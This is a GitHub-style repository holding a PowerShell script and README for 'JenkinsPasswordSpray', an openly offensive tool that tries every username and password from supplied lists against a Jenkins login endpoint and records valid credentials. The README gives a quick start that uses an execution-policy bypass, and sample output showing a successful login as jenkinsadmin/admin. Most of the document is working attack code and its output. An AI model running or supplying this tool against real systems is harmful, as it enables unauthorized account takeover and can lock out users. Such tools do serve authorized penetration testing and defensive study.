├── JenkinsPasswordSpray.ps1 └── README.md /JenkinsPasswordSpray.ps1: -------------------------------------------------------------------------------- 1 | Function Invoke-JenkinsPasswordSpray { 2 | 3 | <# 4 | .SYNOPSIS 5 | A script for password spraying web login for Jenkins 6 | 7 | 8 | .DESCRIPTION 9 | Password sprays Jenkins with specified username and password lists 10 | 11 | 12 | .EXAMPLE 13 | PS C:\> Invoke-JenkinsPasswordSpray -URL 'http://jenkins:8080/' -UsernameFile '.\usernames.txt' -PasswordFile '.\passwords.txt' 14 | Password spray the Jenkins URL with users from usernames.txt and passwords from passwords.txt 15 | 16 | .EXAMPLE 17 | PS C:\> Invoke-JenkinsPasswordSpray -URL 'http://jenkins:8080/' -UsernameFile '.\usernames.txt' -PasswordFile '.\passwords.txt' -ContinueOnSuccess = $True 18 | Password spray the Jenkins URL with users from usernames.txt and passwords from passwords.txt, and continue to spray even if a valid login is found 19 | 20 | .EXAMPLE 21 | PS C:\> Invoke-JenkinsPasswordSpray -URL 'http://jenkins:8080/' -Username 'jenkinsadmin' -PasswordFile '.\passwords.txt' 22 | Password spray the Jenkins URL with the specified user and passwords from passwords.txt 23 | 24 | .EXAMPLE 25 | PS C:\> Invoke-JenkinsPasswordSpray -URL 'http://jenkins:8080/' -UsernameFile '.\usernames.txt' -Password 'jenkinsadmin' -Force -Outfile .\jenkins-sprayed.txt 26 | Password spray the Jenkins URL with users from usernames.txt and the specified password. Skip confirmation and write successful logins to specified file. 27 | 28 | 29 | .PARAMETER URL 30 | URL to spray 31 | 32 | .PARAMETER UsernameFile 33 | File containing usernames 34 | 35 | .PARAMETER PasswordFile 36 | File containing usernames 37 | 38 | .PARAMETER ContinueOnSuccess 39 | Continue spraying even when valid login is found 40 | 41 | .PARAMETER Force 42 | Don't ask user for confirmation 43 | 44 | .PARAMETER OutFile 45 | Write to file 46 | 47 | .NOTES 48 | Author: crusher 2019-05-02 49 | #> 50 | 51 | 52 | [CmdletBinding( 53 | DefaultParameterSetName = 'UsernameFilePasswordFile', 54 | PositionalBinding = $True 55 | )] 56 | 57 | PARAM ( 58 | # Implement parameter set logic to define parameter sets for all different combinations. Yes, this became longer than expected, yikes 59 | # 1 UsernameFile + PasswordFile 60 | # 2 UsernameFile + Password 61 | # 3 Username + PasswordFile 62 | # 4 Username+ Password 63 | [Parameter( 64 | ValueFromPipeline = $true, 65 | Mandatory = $True, 66 | Position = 0, 67 | HelpMessage = 'URL to spray, including port number of the instance. This should be something like http://jenkins:8080. The script handles the rest', 68 | ParameterSetName = 'UsernameFilePasswordFile' 69 | )] 70 | [Parameter( 71 | ValueFromPipeline = $true, 72 | Mandatory = $True, 73 | Position = 0, 74 | HelpMessage = 'URL to spray, including port number of the instance. This should be something like http://jenkins:8080. The script handles the rest', 75 | ParameterSetName = 'UsernamePasswordFile' 76 | )] 77 | [Parameter( 78 | ValueFromPipeline = $true, 79 | Mandatory = $True, 80 | Position = 0, 81 | HelpMessage = 'URL to spray, including port number of the instance. This should be something like http://jenkins:8080. The script handles the rest', 82 | ParameterSetName = 'UsernameFilePassword' 83 | )] 84 | [Parameter( 85 | ValueFromPipeline = $true, 86 | Mandatory = $True, 87 | Position = 0, 88 | HelpMessage = 'URL to spray, including port number of the instance. This should be something like http://jenkins:8080. The script handles the rest', 89 | ParameterSetName = 'UsernamePassword' 90 | )] 91 | [String] 92 | $URL, 93 | 94 | [Parameter( 95 | Mandatory = $True, 96 | Position = 1, 97 | HelpMessage = 'File containing usernames', 98 | ParameterSetName = 'UsernameFilePasswordFile' 99 | )] 100 | [Parameter( 101 | Mandatory = $True, 102 | Position = 1, 103 | HelpMessage = 'File containing usernames', 104 | ParameterSetName = 'UsernameFilePassword' 105 | )] 106 | [String] 107 | $UsernameFile, 108 | 109 | [Parameter( 110 | Mandatory = $True, 111 | Position = 2, 112 | HelpMessage = 'Username', 113 | ParameterSetName = 'UsernamePasswordFile' 114 | )] 115 | [Parameter( 116 | Mandatory = $True, 117 | Position = 2, 118 | HelpMessage = 'Username', 119 | ParameterSetName = 'UsernamePassword' 120 | )] 121 | [String] 122 | $Username, 123 | 124 | [Parameter( 125 | Mandatory = $True, 126 | Position = 3, 127 | HelpMessage = 'File containing passwords', 128 | ParameterSetName = 'UsernameFilePasswordFile' 129 | )] 130 | [Parameter( 131 | Mandatory = $True, 132 | Position = 3, 133 | HelpMessage = 'File containing passwords', 134 | ParameterSetName = 'UsernamePasswordFile' 135 | )] 136 | [String] 137 | $PasswordFile, 138 | 139 | 140 | [Parameter( 141 | Mandatory = $True, 142 | Position = 4, 143 | HelpMessage = 'Password', 144 | ParameterSetName = 'UsernameFilePassword' 145 | )] 146 | [Parameter( 147 | Mandatory = $True, 148 | Position = 4, 149 | HelpMessage = 'Password', 150 | ParameterSetName = 'UsernamePassword' 151 | )] 152 | [String] 153 | $Password, 154 | 155 | [Parameter( 156 | Mandatory = $False, 157 | Position = 5, 158 | HelpMessage = 'Continue spraying after a valid login has been found. Default is $False', 159 | ParameterSetName = 'UsernameFilePasswordFile' 160 | )] 161 | [Parameter( 162 | Mandatory = $False, 163 | Position = 5, 164 | HelpMessage = 'Continue spraying after a valid login has been found. Default is $False', 165 | ParameterSetName = 'UsernamePasswordFile' 166 | )] 167 | [Parameter( 168 | Mandatory = $False, 169 | Position = 5, 170 | HelpMessage = 'Continue spraying after a valid login has been found. Default is $False', 171 | ParameterSetName = 'UsernameFilePassword' 172 | )] 173 | [Parameter( 174 | Mandatory = $False, 175 | Position = 5, 176 | HelpMessage = 'Continue spraying after a valid login has been found. Default is $False', 177 | ParameterSetName = 'UsernamePassword' 178 | )] 179 | [Bool] 180 | $ContinueOnSuccesss, 181 | 182 | [Parameter( 183 | Mandatory = $False, 184 | Position = 6, 185 | HelpMessage = 'Forces the spray to continue and does not prompt for confirmation.. Default is $False', 186 | ParameterSetName = 'UsernameFilePasswordFile' 187 | )] 188 | [Parameter( 189 | Mandatory = $False, 190 | Position = 6, 191 | HelpMessage = 'Forces the spray to continue and does not prompt for confirmation.. Default is $False', 192 | ParameterSetName = 'UsernamePasswordFile' 193 | )] 194 | [Parameter( 195 | Mandatory = $False, 196 | Position = 6, 197 | HelpMessage = 'Forces the spray to continue and does not prompt for confirmation.. Default is $False', 198 | ParameterSetName = 'UsernameFilePassword' 199 | )] 200 | [Parameter( 201 | Mandatory = $False, 202 | Position = 6, 203 | HelpMessage = 'Forces the spray to continue and does not prompt for confirmation.. Default is $False', 204 | ParameterSetName = 'UsernamePassword' 205 | )] 206 | [switch] 207 | $Force, 208 | 209 | [Parameter( 210 | Mandatory = $False, 211 | Position = 7, 212 | HelpMessage = 'Writes successful logins to file.', 213 | ParameterSetName = 'UsernameFilePasswordFile' 214 | )] 215 | [Parameter( 216 | Mandatory = $False, 217 | Position = 7, 218 | HelpMessage = 'Writes successful logins to file.', 219 | ParameterSetName = 'UsernamePasswordFile' 220 | )] 221 | [Parameter( 222 | Mandatory = $False, 223 | Position = 7, 224 | HelpMessage = 'Writes successful logins to file.', 225 | ParameterSetName = 'UsernameFilePassword' 226 | )] 227 | [Parameter( 228 | Mandatory = $False, 229 | Position = 7, 230 | HelpMessage = 'Writes successful logins to file.', 231 | ParameterSetName = 'UsernamePassword' 232 | )] 233 | [string] 234 | $OutFile 235 | 236 | ) 237 | 238 | 239 | BEGIN { 240 | 241 | # Extract hostname and port without http(s):// using regex. Handles subdomains as well. 242 | $Pattern = "^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?" 243 | $HostNameAndPort = [regex]::match([String]$URL, $Pattern).Groups[4].Value 244 | 245 | # Remove trailing elements and save new URL to variable 246 | $URLRemovedTrailingElements = [regex]::match([String]$URL, $Pattern).Groups[1].Value + [regex]::match([String]$URL, $Pattern).Groups[3].Value 247 | 248 | # Store the trailing elements in a variable 249 | $URLTrailingElements = [regex]::match([String]$URL, $Pattern).Groups[5].Value 250 | 251 | # Initialize result variable so it's globally accessible 252 | $Result = "" 253 | 254 | # Set counter to 0 255 | $i = 0 256 | 257 | # Set the URL to use to the provided URL 258 | $URLToUse = $URL 259 | 260 | if ($URLTrailingElements) { 261 | Write-Host "[-] Detected trailing elements " -ForegroundColor Yellow -NoNewline 262 | Write-Host $URLTrailingElements -ForegroundColor Cyan -NoNewline 263 | Write-Host " in provided URL " -ForegroundColor Yellow -NoNewline 264 | Write-Host $URL"." -ForegroundColor Cyan 265 | Write-Host "[-] Will now try to remove it for you." -ForegroundColor Yellow 266 | 267 | # Replace URL if confirmation is accepted 268 | #$title = "Replace URL" 269 | $message = "Do you want to use the URL $URLRemovedTrailingElements instead?" 270 | $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` 271 | "Replacing the provided URL." 272 | 273 | $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` 274 | "Script will continue the provided URL." 275 | 276 | $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) 277 | 278 | $result = $host.ui.PromptForChoice($title, $message, $options, 0) 279 | 280 | # Cancel the script if No is selected, else: replace the URL 281 | if ($result -ne 0) { 282 | Write-Host "[-] Cancelling the password spraying script." -ForegroundColor Yellow 283 | Break 284 | } 285 | else { 286 | Write-Host "[+] Replacing URL: " -ForegroundColor Yellow -NoNewline 287 | Write-Host $URL -ForegroundColor Cyan 288 | 289 | # Change the URL 290 | $URLToUse = $URLRemovedTrailingElements 291 | Write-Host "[+] Will use this URL: " -ForegroundColor Yellow -NoNewline 292 | Write-Host $URLToUse -ForegroundColor Cyan 293 | } 294 | } 295 | 296 | # Check if URL provided by user gives code 200, if not something may be up 297 | Write-Host "[+] Testing if URL is valid" -ForegroundColor Yellow 298 | try { 299 | $TestURL = Invoke-WebRequest $URLToUse"/login?from=%2F" 300 | if ($TestUrl.StatusCode -eq 200) { 301 | Write-Host "[+] Provided URL: " -ForegroundColor Green -NoNewline 302 | Write-Host $URLToUse -ForegroundColor Cyan -NoNewline 303 | Write-Host " returns 200 OK." -ForegroundColor Green 304 | } 305 | else { 306 | Write-Host "[-] URL returns $($TestURL.StatusCode). URL may not be correct, but script will continue." -ForegroundColor Yellow 307 | } 308 | } 309 | catch { 310 | Write-Host "[-] URL returns a 40x HTTP status code. The provided URL is " -ForegroundColor Yellow -NoNewline 311 | Write-Host $URLToUse -ForegroundColor Cyan 312 | Write-Host "[-] URL should look like " -ForegroundColor Yellow -NoNewline 313 | Write-Host "http://jenkins:8080" -ForegroundColor Cyan -NoNewline 314 | Write-Host " without any trailing elements like /login." -ForegroundColor Yellow 315 | } 316 | 317 | # Check if input is UsernameFile or Username. If file: write to array, else:write to string 318 | if ($psCmdlet.ParameterSetName -like "*UsernameFile*") { 319 | $UsernameList = Get-Content $UsernameFile 320 | 321 | # Count the number of usernames in the list 322 | $UsernameCount = $UsernameList | Measure-Object -Line | Select-Object -ExpandProperty Lines 323 | 324 | } 325 | else { 326 | # Set the "list" to the selected username and the count to 1 327 | $UsernameList = $Username 328 | $UsernameCount = 1 329 | } 330 | 331 | # Check if input is UsernameFile or Username. If file: write to array, else:write to string 332 | if ($psCmdlet.ParameterSetName -like "*PasswordFile*") { 333 | $PasswordList = Get-Content $PasswordFile 334 | 335 | # Count the number of passwords in the list 336 | $PasswordCount = $PasswordList | Measure-Object -Line | Select-Object -ExpandProperty Lines 337 | } 338 | else { 339 | # Set the "list" to the selected password and the count to 1 340 | $PasswordList = $Password 341 | $Passwordcount = 1 342 | } 343 | 344 | # Multiply number of usernames and passwords in list, for tracking progress while spraying 345 | $RequestCount = $PasswordCount * $UsernameCount 346 | 347 | # Jenkins might require a Crumb / anti xsrf token. Get the Crumb token with a request to the crumbissuer and some regex. Commented this out for now as it didn't appear to be necessary. 348 | #$CrumbObject = Invoke-WebRequest $URLNoTrailingSlash'/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)' | Select-Object -Property Content 349 | #$CrumbObject 350 | #$Pattern = "Jenkins-Crumb:(.*?)}" 351 | #$Crumb = [regex]::match([String]$CrumbObject, $Pattern).Groups[1].Value 352 | } 353 | 354 | 355 | PROCESS { 356 | 357 | # Create the header 358 | $Header = @{ 359 | "Accept" = "text/html, application/xhtml+xml, image/jxr, */*" 360 | #"Referer"="$URL/login" 361 | "Accept-Language" = "en-US" 362 | "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 363 | "Content-Type" = "application/x-www-form-urlencoded" 364 | "Accept-Encoding" = "gzip, deflate" 365 | "Host" = "$HostNameAndPort" 366 | "Pragma" = "no-cache" 367 | #"Crumb" = "$Crumb" 368 | } 369 | 370 | # If no force flag is set, ask the user for confirmation 371 | if (!$Force) { 372 | $title = "Confirm Password Spray" 373 | $message = "Are you sure you want to password spray the URL " + $URLToUse + " with " + $UsernameCount + " accounts and " + $PasswordCount + " passwords?" 374 | $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` 375 | "Attempts to authenticate 1 time per user in the list for each password in the passwords file." 376 | 377 | $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` 378 | "Cancels the password spray." 379 | 380 | $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) 381 | 382 | $result = $host.ui.PromptForChoice($title, $message, $options, 0) 383 | 384 | if ($result -ne 0) { 385 | Write-Host "[-] Cancelling the password spray." -ForegroundColor Yellow 386 | Break 387 | } 388 | } 389 | 390 | # Provide output 391 | $time = Get-Date 392 | Write-Host "" 393 | Write-Host "[+] Start password spraying the URL " -ForegroundColor Yellow -NoNewline 394 | Write-Host $URLRemovedTrailingElements -ForegroundColor Cyan -NoNewline 395 | Write-Host " with $UsernameCount user(s) and $PasswordCount password(s). Total request count is $Requestcount. Current time is $($time.ToShortTimeString()). Successful logins will be written to " -ForegroundColor Yellow -NoNewline 396 | Write-Host $OutFile -ForegroundColor Cyan 397 | 398 | # Loop over passwords 399 | foreach ($PasswordAttempt in $PasswordList) { 400 | 401 | <# Loop over usernames so that each password is tried for all users. 402 | I consider this more efficient based on the assumption that there 403 | are more passwords than users. #> 404 | foreach ($UsernameAttempt in $UsernameList) { 405 | 406 | #Reset the results 407 | $Result = "" 408 | 409 | # Simple counter to track the total number of attempts 410 | $i++ 411 | 412 | # Declare the body 413 | $Body = @{ 414 | "j_username" = "$UsernameAttempt" 415 | "j_password" = "$PasswordAttempt" 416 | "from" = "" 417 | "Submit" = "Sign+in" 418 | } 419 | 420 | # Write progess in the format of 1/100 and what password is trying 421 | Write-Host "[Attempt $i / $RequestCount] - Spraying username:$UsernameAttempt with password:$PasswordAttempt" 422 | 423 | # Have to use a try/catch because Invoke-Webrequest goes into an error state on status code 40x. Any non-error that leads to 200 should be a valid login. 424 | try { 425 | 426 | # Send the actual request and store the result in a variable 427 | $Result = Invoke-WebRequest -UseBasicParsing "$URLRemovedTrailingElements/j_acegi_security_check" -Method POST -Body $Body -Header $Header 428 | 429 | 430 | # If we get something that is not 40x, we have some kind of success. Verify the code to be 200 431 | if ($Result.StatusCode -eq 200) { 432 | Write-Host "[+] SUCCESS! " -ForegroundColor Green -NoNewline 433 | Write-Host "Username:" -NoNewline -ForegroundColor Cyan 434 | write-Host $UsernameAttempt -ForegroundColor Magenta -NoNewline 435 | Write-Host " Password:" -ForegroundColor Cyan -NoNewline 436 | Write-Host $PasswordAttempt -ForegroundColor Magenta 437 | 438 | # Write to file 439 | if ($OutFile -ne "") { 440 | Add-Content $OutFile $UsernameAttempt`:$PasswordAttempt 441 | } 442 | } 443 | 444 | # If we get something that is not 40x or 200, we continue. 445 | else { 446 | Write-Host "[-] Got a status code that is not 40x, but $($Result.StatusCode), which is not 200. Could be a redirector similar. Spraying will continue" -ForegroundColor Yellow 447 | } 448 | } 449 | catch { 450 | # An error occurred or Invoke-Webrequest got a status code 40x, but purposefully dont't print anything to avoid spamming output during spraying 451 | } 452 | 453 | # Stop spraying if ContinueOnSuccess is not equal to True (default is $False) - else, continue 454 | if ($ContinueOnSuccesss -eq $False) { 455 | Write-Host "The ContinueOnSuccess parameter is set to " -NoNewline -ForegroundColor Yellow 456 | Write-Host $ContinueOnSuccesss -NoNewLine -ForegroundColor Cyan 457 | Write-Host " or not set. Spraying will now stop" -ForegroundColor Yellow 458 | Return 459 | } 460 | 461 | } 462 | } 463 | # Exiting the outer loop indicates a completed state 464 | # Insert a blank line for readbility 465 | Write-Host "" 466 | Write-Host "[+] Password spraying is complete" -ForegroundColor Yellow 467 | 468 | #Write to file 469 | if ($OutFile -ne "") { 470 | Write-Host -ForegroundColor Yellow "[+] Any passwords that were successfully sprayed have been written to $OutFile" 471 | } 472 | } 473 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JenkinsPasswordSpray 2 | JenkinsPasswordSpray is a tool witten in PowerShell to perform password spraying attacks against users of a [Jenkins](https://jenkins.io/) instance. Be careful not to lock out accounts! 3 | 4 | ## Quick Start Guide 5 | Open a PowerShell terminal from the Windows command line with `powershell.exe -exec bypass` and import the module with `Import-Module JenkinsPasswordSpray.ps1`. 6 | 7 | The mandatory parameters are `-URL`, `-Username`/`-UsernameFile` and `-Password`/`-PasswordFile`. 8 | 9 | The following command will spray against a list of users and attempt to authenticate using each username and a password from the specified list. If a valid login is found, the script will stop unless `-ContinueOnSuccess` is set to `$True`. A confirmation will be prompted unless the `-Force` parameter is set. The results of the spray will be output to a file called `sprayed-jenkins.txt` 10 | 11 | The script will also try to help you clean up your URL if it's invalid or contains trailing elements like `/login`, as this will make the URL invalid for password spraying. But because your target Jenkins instance might be located in a subdirectory, this feature asks for confirmation before trimming the URL. 12 | 13 | Type `Get-Help Invoke-JenkinsPasswordSpra` to see the different options. 14 | 15 | ### Example command 16 | 17 | ```PowerShell 18 | Invoke-JenkinsPasswordSpray -URL http://jenkins:8080 -UsernameFile .\users.txt -PasswordFile .\pws.txt -ContinueOnSuccesss $true -Force -Outfile .\sprayed-jenkins.txt 19 | ``` 20 | 21 | ### Example command with output 22 | 23 | ```PowerShell 24 | PS C:\Windows\temp> Invoke-JenkinsPasswordSpray -URL http://10.0.0.7:8080/login/notvalid -Username jenkinsadmin -Password admin -ContinueOnSuccesss $true -Force -OutFile jenkins-sprayed.txt 25 | 26 | [-] Detected trailing elements /login/notvalid in provided URL http://10.0.0.7:8080/login/notvalid. 27 | [-] Will now try to remove it for you. 28 | Do you want to use the URL http://10.0.0.7:8080 instead? 29 | [Y] Yes [N] No [?] Help (default is "Y"): 30 | [+] Replacing URL: http://10.0.0.7:8080/login/notvalid 31 | [+] Will use this URL: http://10.0.0.7:8080 32 | [+] Testing if URL is valid 33 | [+] Provided URL: http://10.0.0.7:8080 returns 200 OK. 34 | 35 | [+] Start password spraying the URL http://10.0.0.7:8080 with 1 user(s) and 1 password(s). Total request count is 1. Current time is 15:21 36 | [+] Writing successful logins to jenkins-sprayed.txt 37 | [Attempt 1 / 1] - Spraying username:jenkinsadmin with password:admin 38 | [+] SUCCESS! Username:jenkinsadmin Password:admin 39 | 40 | [+] Password spraying is complete 41 | [*] Any passwords that were successfully sprayed have been written to jenkins-sprayed.txt 42 | ``` 43 | 44 | ### Invoke-JenkinsPasswordSpray Parameters 45 | 46 | ``` 47 | -UsernameList - A list of usernames to spray 48 | -Username - A single username to spray. 49 | -Password - A single password to spray for each specified username. 50 | -PasswordList - A list of passwords, one per line, to use for the password spray. 51 | -ContinueOnSuccess - Continue spraying, even if a valid account is found. 52 | -Force - Forces the spray to continue without prompting for confirmation. 53 | -OutFile - A file to output the results to. 54 | ``` 55 | 56 | Please feel free to file issues or pull requests. You can also write to me on Twitter [@chryzsh](https://twitter.com/chryzsh) 57 | --------------------------------------------------------------------------------